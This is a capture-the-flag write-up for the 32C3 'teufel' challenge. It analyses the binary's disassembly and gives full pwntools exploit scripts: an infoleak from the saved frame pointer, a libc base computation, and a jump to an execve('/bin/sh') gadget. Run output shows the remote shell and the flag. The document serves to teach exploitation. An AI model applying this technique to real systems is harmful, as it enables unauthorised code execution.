Exploit a tiny binary with an extremely customised memory mapping with an infoleak leading to libc disclosure and jump to magic shell address.

Challenge Description

Points

200

Description

teufel is running at 136.243.194.41:666

Da ist der Teufel los

Solution

If you look at the disassembly of the binary, you can see that it is very tiny and possibly handcrafted.

EntryPoint:
0000000000400485         mov        esi, 0x3000  ; argument "len" for method j_mmap
000000000040048a         mov        edx, 0x0     ; argument "prot" for method j_mmap
000000000040048f         mov        ecx, 0x22    ; argument "flags" for method j_mmap
0000000000400494         mov        r8d, 0x0     ; argument "fildes" for method j_mmap
000000000040049a         mov        r9d, 0x0     ; argument "off" for method j_mmap
00000000004004a0         call       j_mmap
00000000004004a5         cmp        rax, 0xffffffffffffffff
00000000004004a9         je         0x4004de

00000000004004ab         mov        rbp, rax
00000000004004ae         mov        rdi, rbp
00000000004004b1         add        rdi, 0x1000  ; argument "addr" for method j_mprotect
00000000004004b8         mov        esi, 0x1000  ; argument "len" for method j_mprotect
00000000004004bd         mov        edx, 0x3     ; argument "prot" for method j_mprotect
00000000004004c2         call       j_mprotect
00000000004004c7         cmp        rax, 0xffffffffffffffff
00000000004004cb         je         0x4004de

00000000004004cd         add        rbp, 0x2000
00000000004004d4         mov        rsp, rbp

00000000004004d7         call       sub_4004e6   ; XREF=EntryPoint+92
00000000004004dc         jmp        0x4004d7

00000000004004de         xor        rdi, rdi     ; argument "status" for method j__exit
00000000004004e1         call       j__exit

What this does is create a new mapping in the virtual address space with the mmap call. It creates a mapping of size 0x3000 with a protection of 0 which means no permissions are set at a location decided by the kernel. Next, it marks 0x1000 bytes of memory from 0x1000 bytes from the start of the mapped virtual address space as readable and writable. If we take a look at the vmmap, the address space that was mapped looks like this:

0x00007ffff7ff3000 0x00007ffff7ff4000 ---p    mapped
0x00007ffff7ff4000 0x00007ffff7ff5000 rw-p    mapped
0x00007ffff7ff5000 0x00007ffff7ff6000 ---p    mapped

Before the call to sub_4004e6 occurs, the stack and base pointers are set to 0x2000 past the start of the mapped address. This means the RSP and RBP is pointing to the start of the the third ‘block’ in the vmmap listing above. Let’s take a look at what happens in the call.

sub_4004e6
00000000004004e6         push       rbp
00000000004004e7         mov        rbp, rsp
00000000004004ea         sub        rsp, 0x8
00000000004004ee         mov        edi, 0x0   ; argument "fildes" for method j_read
00000000004004f3         lea        rsi, qword [ss:rbp+var_8]  ; argument "buf" for method j_read
00000000004004f7         mov        edx, 0x8   ; argument "nbyte" for method j_read
00000000004004fc         call       j_read
0000000000400501         cmp        rax, 0x0
0000000000400505         jle        0x4004de

0000000000400507         mov        edi, 0x0   ; argument "fildes" for method j_read
000000000040050c         lea        rsi, qword [ss:rbp+var_8]  ; argument "buf" for method j_read
0000000000400510         mov        rdx, qword [ss:rbp+var_8]  ; argument "nbyte" for method j_read
0000000000400514         call       j_read
0000000000400519         cmp        rax, 0x0
000000000040051d         jle        0x4004de

000000000040051f         lea        rdi, qword [ss:rbp+var_8]  ; argument "s" for method j_puts
0000000000400523         call       j_puts
0000000000400528         mov        edi, 0x0                   ; argument "stream" for method j_fflush
000000000040052d         call       j_fflush
0000000000400532         mov        rsp, rbp
0000000000400535         pop        rbp
0000000000400536         ret

Well, let’s take this step-by-step:

00000000004004e6         push       rbp
00000000004004e7         mov        rbp, rsp
00000000004004ea         sub        rsp, 0x8

If we take a look at what has happened so far, the return address would have been pushed on the stack with the call, base pointer pushed on the stack, and 0x8 bytes allocated. After this, the stack would look like this:

1

00000000004004ee         mov        edi, 0x0   ; argument "fildes" for method j_read
00000000004004f3         lea        rsi, qword [ss:rbp+var_8]  ; argument "buf" for method j_read
00000000004004f7         mov        edx, 0x8   ; argument "nbyte" for method j_read
00000000004004fc         call       j_read
0000000000400501         cmp        rax, 0x0
0000000000400505         jle        0x4004de

This portion reads 8 bytes from the user and checks for errors. If there are errors, it jumps to the exit. So assuming we provide “AAAAAAAA”, the stack will look like this:

2

Now, let’s proceed with the next part of the disassembly:

0000000000400507         mov        edi, 0x0   ; argument "fildes" for method j_read
000000000040050c         lea        rsi, qword [ss:rbp+var_8]  ; argument "buf" for method j_read
0000000000400510         mov        rdx, qword [ss:rbp+var_8]  ; argument "nbyte" for method j_read
0000000000400514         call       j_read
0000000000400519         cmp        rax, 0x0
000000000040051d         jle        0x4004de

The value obtained in the previous ‘read’ call is now used as the length in this ‘read’ call. This looks like a standard buffer overflow scenario. However, remember that if we write too much, we will hit the non-writable/non-readable portion of the mapped memory and the program will crash. Thus, we only have 24 bytes of play here.

After that, the following code is run:

000000000040051f         lea        rdi, qword [ss:rbp+var_8]  ; argument "s" for method j_puts
0000000000400523         call       j_puts
0000000000400528         mov        edi, 0x0                   ; argument "stream" for method j_fflush
000000000040052d         call       j_fflush
0000000000400532         mov        rsp, rbp
0000000000400535         pop        rbp
0000000000400536         ret

The buffer that we just ‘read’ to is now printed with ‘puts’. After the return, the program jumps back to the start of the subroutine:

00000000004004d7         call       sub_4004e6   ; XREF=EntryPoint+92
00000000004004dc         jmp        0x4004d7

Now, something that I’ve noticed is that the last byte of the saved frame pointer on the stack always ends with a null byte. So, if we can overwrite that byte, the program will print the buffer and can leak that address on the stack. Here is a script to automate this:

from pwn import *

#context.log_level = "debug"

def launch(conn, payload):
    conn.send(p64(len(payload)))
    conn.send(payload)


def main():
    p = process("./teufel")

    # Stage 1 - Info leak

    launch(p, "A"*9)
    add = p.recv(100)[9:-1]
    add = "\x00" + add
    add = add.ljust(8, "\x00")
    address = u64(add)

    log.success("Address of buffer: 0x%x" % address)

if __name__ == "__main__":
    main()

Running the script a couple of times on the local binary:

$ python leak.py
[+] Started program './teufel'
[+] Address of buffer: 0x7ff541e56000
[*] Stopped program './teufel'
$ python leak.py
[+] Started program './teufel'
[+] Address of buffer: 0x7fae16f1f000
[*] Stopped program './teufel'

Now, since the program runs in an endless loop, we can utilise our info leak. The intended solution is to probably use multiple ‘mov pop ret’ ROP gadgets in the binary, but I used an easier approach. After some exploration of the way the kernel maps libc.so.6 and the mmap space, I realised that you could calculate the base address of libc.so.6 reliably from the infoleak. In the challenge’s case, it was 0x5ea000 lower than the stored base address.

From this libc base address, we can use gadgets in the provided libc.so.6. I’ve discovered a magic address that automagically does execve("/bin/sh").

3

Now, there is one more thing we have to do, and that is to fix RBP so that the line:

00000000000f6927         mov        rsp, qword [ss:rbp+var_110]

Will not cause the program to crash when RBP points to an invalid memory address. We need RDI to point to a zero pointer to avoid problems. I picked an address that would resolve to an area of null bytes. Here is the full exploit:

from pwn import *

#context.log_level = "debug"

def launch(conn, payload):
    conn.send(p64(len(payload)))
    conn.send(payload)


def main():
    p = remote('136.243.194.41', 666)

    # Stage 1 - Info leak

    launch(p, "A"*9)
    add = p.recv(100)[9:-1]
    add = "\x00" + add
    add = add.ljust(8, "\x00")
    address = u64(add)

    log.success("Address of buffer: 0x%x" % address)

    # Stage 2

    libc_base = address - 0x5ea000
    magic_add = libc_base + 0xf6950
    zero_point = libc_base + 0x3c4428
    payload = "A"*8 + p64(zero_point) + p64(magic_add)
    launch(p, payload)

    print p.recv(1000)
    p.interactive()

if __name__ == "__main__":
    main()

Running the exploit:

$ python exploit.py
[+] Opening connection to 136.243.194.41 on port 666: Done
[+] Address of buffer: 0x7f2d91ad8000
AAAAAAAA($\x8b\x91-\x7f

[*] Switching to interactive mode
$ ls -la
total 32
drwxr-xr-x 2 root root 4096 Dec 26 11:25 .
drwxr-xr-x 3 root root 4096 Dec 23 18:06 ..
-rw-r--r-- 1 root root  220 Dec 23 18:06 .bash_logout
-rw-r--r-- 1 root root 3771 Dec 23 18:06 .bashrc
-rw-r--r-- 1 root root  675 Dec 23 18:06 .profile
-rw-r--r-- 1 root root   24 Dec 26 11:25 flag.txt
-rwxr-xr-x 1 root root 5192 Dec 26 11:22 teufel
$ cat flag.txt
32C3_mov_pop_ret_repeat

Flag: 32C3_mov_pop_ret_repeat

Leave a Comment